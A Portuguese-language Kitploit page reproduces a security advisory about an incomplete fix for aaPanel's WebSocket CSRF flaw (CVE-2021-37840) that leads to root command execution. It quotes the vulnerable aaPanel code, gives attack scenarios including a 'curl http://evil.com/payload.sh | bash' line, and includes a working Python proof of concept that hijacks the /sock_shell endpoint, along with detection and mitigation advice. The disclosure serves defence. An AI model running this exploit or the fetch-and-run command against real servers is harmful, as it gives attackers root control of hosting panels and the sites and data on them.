Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
aapanel-ws-bypass — aaPanel Bypass de CSRF em WebSocket levando a RCE (Correção incompleta para CVE-2021-37840) | Kitploit
Ferramentas/GitHubGitHub/eonsecurity/aapanel-ws-bypass
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

aaPanel Bypass de CSRF em WebSocket levando a RCE (Correção incompleta para CVE-2021-37840)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

aaPanel: fornecedores nem sempre corrigem as coisas corretamente

Uma correção incompleta para o CVE-2021-37840 ainda expõe 3,6 milhões de servidores a RCE como root, 5 anos depois

Descoberto por: EON Security
CVE: Atribuição pendente
CVSS: 8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Afetadas: versões 6.8.12 a 7.65.0 do aaPanel (todas as versões desde a correção de 2021)
Base instalada: mais de 3,6 milhões de servidores


A versão curta

Em 2021, uma vulnerabilidade de Cross-Site WebSocket Hijacking (CVE-2021-37840) foi divulgada no aaPanel, um painel de controle de hospedagem gratuito executado em mais de 3,6 milhões de servidores. O fornecedor adicionou uma verificação de token CSRF para "corrigir" o problema.

A correção estava arquiteturalmente errada.

Em vez de rejeitar conexões WebSocket não autenticadas no nível HTTP (retornando 401), a correção permite a passagem de todas as conexões (retorna 101 Switching Protocols) e só verifica a autenticação dentro do handler — depois que o WebSocket já foi estabelecido. A verificação CSRF que eles adicionaram pode ser contornada de várias maneiras.

A EON Security descobriu que, 5 anos depois, todas as versões do aaPanel ainda são vulneráveis à mesma classe de ataque.

Este é apenas o 10º CVE já atribuído ao aaPanel em seus mais de 6 anos de história.



O que isso significa em linguagem simples

Se você executa o aaPanel, veja o que um atacante pode fazer com você:

Cenário 1: um administrador clica em um link malicioso

  1. Alguém da sua equipe clica em um link que não deveria (e-mail, anúncio, mensagem)
  2. Essa página abre secretamente uma conexão WebSocket com o seu aaPanel — seu navegador inclui o cookie de login automaticamente porque você já está logado
  3. O aaPanel vê uma sessão válida e permite a conexão — a autenticação passa
  4. O atacante envia curl http://evil.com/payload.sh | bash — esse comando é executado como root no seu servidor
  5. Seu servidor agora está totalmente comprometido: sites roubados, bancos de dados apagados, malware servido aos seus visitantes

Apenas um clique é necessário. Um clique equivocado e o atacante tem controle de tudo.

Cenário 2: uma chave de API vaza

  1. Uma chave de API acaba em um lugar onde não deveria — em um repositório público do GitHub, em um backup de configuração, nas anotações de um desenvolvedor
  2. O atacante se autentica com essa chave e abre um WebSocket para o aaPanel
  3. A verificação CSRF entende que "esta é uma solicitação autenticada por API" e pula a verificação completamente — esse é um bypass incondicional embutido no código
  4. O atacante executa comandos como root imediatamente
  5. Sem cliques de administrador, sem avisos, sem logs que pareçam incomuns — apenas comprometimento instantâneo

Este é o problema maior. A proteção CSRF não se aplica de forma alguma a solicitações autenticadas por API. Ela foi projetada para verificar conexões baseadas em navegador, mas o caminho de código para acesso via API a ignora completamente.

De qualquer forma, 3,6 milhões de servidores são afetados. Todas as versões desde 2021.

  1. Todos os 10 endpoints WebSocket aceitam conexões antes de verificar quem você é — retornam HTTP 101 Switching Protocols antes de verificar a autenticação
  2. A verificação CSRF tem condições de bypass incondicional — g.api_request=True (solicitações autenticadas por API) e g.is_aes=True (solicitações criptografadas com AES) pulam a verificação completamente
  3. O endpoint /sock_shell executa comandos arbitrários — subprocess.Popen(cmd + " 2>&1", shell=True)
  4. O endpoint /webssh aceita credenciais SSH fornecidas pelo atacante — conectar-se a qualquer host SSH
  5. Executa como root — comprometimento total do servidor

Detalhes da vulnerabilidade

1. Endpoints WebSocket aceitam conexões antes da autenticação

Todos os endpoints WebSocket retornam HTTP 101 Switching Protocols antes de qualquer verificação de autenticação. A verificação de autenticação comm.local() é executada dentro do handler, depois que o upgrade WebSocket já foi concluído:

root@kitploit:~
@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return

Endpoints afetados:

  • /webssh (proxy de terminal SSH)
  • /sock_shell (execução direta de comandos)
  • /ws_panel (gerenciamento do painel)
  • /ws_home (painel de controle)
  • /ws_project (gerenciamento de projetos)
  • /ws_model (gerenciamento de modelos)
  • /workorder_client (sistema de tickets)
  • /v2/* variantes de todos os acima

2. Bypass na verificação do token CSRF

A função check_csrf_websocket() foi projetada para prevenir o Cross-Site WebSocket Hijacking:

root@kitploit:~
def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Bypass: AES mode skips check
    if g.api_request: return True    # ← Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

Existem duas condições de bypass incondicional:

  • g.api_request: quando True (definido durante a autenticação por chave de API), a verificação CSRF é completamente ignorada. Qualquer sessão WebSocket autenticada por API contorna essa proteção.
  • g.is_aes: quando True (definido durante solicitações de API criptografadas com AES), a verificação CSRF também é ignorada.

A comparação do token (get_csrf_sess_html_token_value()) retorna session.get('request_token_head', ""). Em sessões em que esse valor ainda não foi inicializado, um x-http-token vazio passa na verificação.

3. Execução de comandos via sock_shell

O endpoint /sock_shell passa strings fornecidas pelo atacante diretamente para subprocess.Popen com shell=True:

root@kitploit:~
def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

Cada mensagem recebida no WebSocket é executada como um comando de shell. A saída é transmitida de volta via WebSocket. Como o aaPanel executa como root, isso é comprometimento total do sistema.

4. Proxy SSH via webssh

O endpoint /webssh aceita parâmetros de conexão SSH fornecidos pelo atacante na primeira mensagem WebSocket:

root@kitploit:~
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

Se o host for 127.0.0.1 ou localhost, o handler verifica no banco de dados se há credenciais salvas ou usa as fornecidas pelo atacante.


Cenário de ataque

O caminho de exploração principal é CSWSH (Cross-Site WebSocket Hijacking), que exige interação do usuário:

  1. O administrador tem uma sessão ativa no aaPanel (logado)
  2. O administrador visita uma página web maliciosa
  3. A página abre um WebSocket para wss://victim-panel:8888/sock_shell
  4. O navegador inclui automaticamente o cookie de sessão
  5. comm.local() passa pela autenticação (cookie de sessão válido)
  6. O atacante envia {"x-http-token": ""} ou explora os caminhos de bypass via API/AES
  7. Se a verificação CSRF passar, comandos podem ser executados como root

Caminho alternativo via comprometimento da chave de API:

  1. O atacante obtém uma chave de API válida do aaPanel
  2. Solicitações autenticadas por API definem g.api_request = True
  3. A verificação CSRF é completamente ignorada para essas solicitações
  4. Execução direta de comandos via WebSocket sem interação do usuário

Endpoints afetados


PoC

root@kitploit:~
import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active — may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

PoC completo: exploit.py


Detecção

Use o script check.py para testar se uma instância do aaPanel possui endpoints WebSocket vulneráveis:

root@kitploit:~
python3 check.py https://target:8888

Mitigação

  1. Verifique a autenticação ANTES de aceitar upgrades WebSocket — retorne HTTP 401 no nível do handshake, não depois
  2. Remova as condições de bypass incondicional — g.api_request e g.is_aes não devem ignorar a proteção CSRF
  3. Valide o cabeçalho Origin no upgrade WebSocket — rejeite origens não reconhecidas
  4. Desative o sock_shell se não for necessário — ele fornece execução direta de comandos como root
  5. Restrinja o acesso de rede à interface de administração do aaPanel

Linha do tempo

DataEvento

Referências

  • CVE-2021-37840 — CSWSH original do aaPanel
  • CVE-2026-29859 — upload arbitrário de arquivos no aaPanel (mar 2026)
  • aaPanel GitHub — Repositório oficial
  • EON Security — Descobridor

Créditos

Yadav — EON Security
Website: https://eonsecurity.co.za


Licença

Este conteúdo é licenciado sob a licença MIT. O PoC é fornecido apenas para fins educacionais e defensivos.

Baixar ferramenta
EndpointFunçãoImpacto
/websshProxy de terminal SSHConectar-se a hosts SSH arbitrários com credenciais do atacante
/sock_shellExecução direta de comandosRCE como root via comandos de shell
/ws_panelGerenciamento do painelAcesso aos dados do painel
/ws_homePainel de controleAcesso aos dados do painel de controle
/ws_projectGerenciamento de projetosAcesso aos dados de projetos
/ws_modelGerenciamento de modelosAcesso aos dados de modelos
/workorder_clientSistema de ticketsAcesso aos dados de tickets
/v2/*Todas as variantes v2O mesmo que acima
2021-08-02CVE-2021-37840 divulgado (aaPanel CSWSH)
2021Fornecedor adiciona check_csrf_websocket() como correção
2026-06-23EON Security descobre que a correção está incompleta
PendenteAtribuição do CVE
PendenteDivulgação pública